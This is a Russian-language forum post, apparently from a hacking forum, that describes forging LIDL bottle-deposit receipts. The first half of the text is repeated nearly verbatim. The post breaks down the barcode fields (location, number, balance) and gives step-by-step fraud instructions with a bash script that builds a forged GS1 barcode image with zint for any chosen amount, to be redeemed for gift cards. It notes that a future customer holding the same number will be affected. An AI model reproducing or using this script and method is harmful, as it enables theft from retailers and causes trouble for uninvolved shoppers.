Отступление
В большинстве стран ЕС действует гос-програма, которая нацелена на охранену окружающей среды.
Она функционирует за счет наогов и занимается разными областями и на самом деле весьма полезна.
Основная-же ее задача, это переработка и/или повторное использование продуктов: одежда, мебель, мусор, техника и тд.
Благодря этой програме, ЕС может вести экономическое сопротивление Азии.
Например, разная техника может переходить из рук в руки, что существенно ограничивает торговлю с Китаем, Тайванем, Японией.
Вступление
Абсолютно в любом магазине, при покупке товара в бутылке с макером, стоимоcть самой бутылки будет учтена при оплате.
Стоимоть завасит от метариала и размера бутылки. Обычно это 25 центов (пластик, 0.25l).
Саму бутылкупосле использования можно вернуть обратно в магазин(за цену их покупки), в автомат, который напечатает скидочный чек.
Компании обязаны иметь подоюбные автоматы, помомо этого, они получают бенефиты за их содержание.
Претензии
При покупке идёт дополнитльная оплата самой бутылки, а возврат ее через автомат дает купон на суму самой бутылки что была оплачена.
Заключение проблемы в том, что сам чек можно обналичить только в магазине/сети где и был получен чек(купон)!
Означает это то, что покупатель уходит в 0, однако должен повторно постеить эту торговую сеть для того, чтобы вернуть деньги за счёт покупки новых товаров.
Из этого следует, что сам чек имеет отрицательный баланс.
Уязвимость
Проблема: данные о ценности самого чека есть только на чеке!
Пример будет работать с сетью магазинов LIDL, однако по такой-же самой аналогии можно взломать любую другую сеть.
2012345612345123456
| | | |_______ Баланс
| | |______________Номер
| |______________________Локация
|_______________________Служебный байт
Данные есть только на чеке, а это значит, что их можно очень просто изменить.
Маленькая месть.
Отомстить толстосумам может каждый.
1. Сперва стоит купить любую минералку, после нещадно выпить ее и сдать в автомат.
Из кода нужна только локация и номер. Локация обязательна, а номер можно установить на тот, который будет еще не скоро. В будущем, у человека с этим номером буду проблемы.
2. Далее можно получить сгенерированную картинку.
Зависимости: zint(для генерация баркода).
3. Советую взять каротчки для амазона или других сервисов. На кассе просто дайте телефон с баркодом.
4. Профит
В большинстве стран ЕС действует гос-програма, которая нацелена на охранену окружающей среды.
Она функционирует за счет наогов и занимается разными областями и на самом деле весьма полезна.
Основная-же ее задача, это переработка и/или повторное использование продуктов: одежда, мебель, мусор, техника и тд.
Благодря этой програме, ЕС может вести экономическое сопротивление Азии.
Например, разная техника может переходить из рук в руки, что существенно ограничивает торговлю с Китаем, Тайванем, Японией.
Вступление
Абсолютно в любом магазине, при покупке товара в бутылке с макером, стоимоcть самой бутылки будет учтена при оплате.
Саму бутылкупосле использования можно вернуть обратно в магазин(за цену их покупки), в автомат, который напечатает скидочный чек.
Компании обязаны иметь подоюбные автоматы, помомо этого, они получают бенефиты за их содержание.
Претензии
При покупке идёт дополнитльная оплата самой бутылки, а возврат ее через автомат дает купон на суму самой бутылки что была оплачена.
Заключение проблемы в том, что сам чек можно обналичить только в магазине/сети где и был получен чек(купон)!
Означает это то, что покупатель уходит в 0, однако должен повторно постеить эту торговую сеть для того, чтобы вернуть деньги за счёт покупки новых товаров.
Из этого следует, что сам чек имеет отрицательный баланс.
Уязвимость
Проблема: данные о ценности самого чека есть только на чеке!
Пример будет работать с сетью магазинов LIDL, однако по такой-же самой аналогии можно взломать любую другую сеть.
2012345612345123456
| | | |_______ Баланс
| | |______________Номер
| |______________________Локация
|_______________________Служебный байт
Данные есть только на чеке, а это значит, что их можно очень просто изменить.
Маленькая месть.
Отомстить толстосумам может каждый.
1. Сперва стоит купить любую минералку, после нещадно выпить ее и сдать в автомат.
Из кода нужна только локация и номер. Локация обязательна, а номер можно установить на тот, который будет еще не скоро. В будущем, у человека с этим номером буду проблемы.
2. Далее можно получить сгенерированную картинку.
Зависимости: zint(для генерация баркода).
Bash:
#!/bin/bash
echo "Creating SAVING"
read -p "Enter code: " uinput
echo ""
if [[ ! $uinput =~ ^[0-9]{19}$ ]]; then
echo "Invalid"
else
trimmed="${uinput:2}"
location="${trimmed:0:6}"
number="${trimmed:6:-6}"
money="${trimmed: -6}"
if [ "$money" != "000000" ]; then
for ((i=0; i<3; i++)); do
if [ "${money:0:1}" != "0" ]; then
break
fi
money="${money#0*}"
done
if [ "${money: -2}" != "00" ]; then
money="${money:0:-2},${money: -2}"
fi
else
money="0"
fi
echo "Location: $location"
echo "Number: $number"
echo "Money: $money€"
money="${money//[^0-9]/}"
fi
echo ""
echo "Creating CHEQUE"
read -p "Enter Location: " ulocation
read -p "Enter Number: " unumber
read -p "Enter Money(in Cetns): " umoney
if [ -z "$ulocation" ]; then
ulocation=$location
fi
if [ -z "$unumber" ]; then
unumber=$number
fi
if [ -z "$umoney" ]; then
umoney=$money
fi
while [ ${#umoney} -lt 6 ]; do
umoney="0$umoney"
done
final="$ulocation$unumber$umoney"
echo "New code: 20$final"
bash -c "zint -o 20${final}.png -d \"(20)${final}\" --barcode=16 --gs1parens --gs1nocheck --notext"
3. Советую взять каротчки для амазона или других сервисов. На кассе просто дайте телефон с баркодом.
4. Профит
Вложения
Последнее редактирование: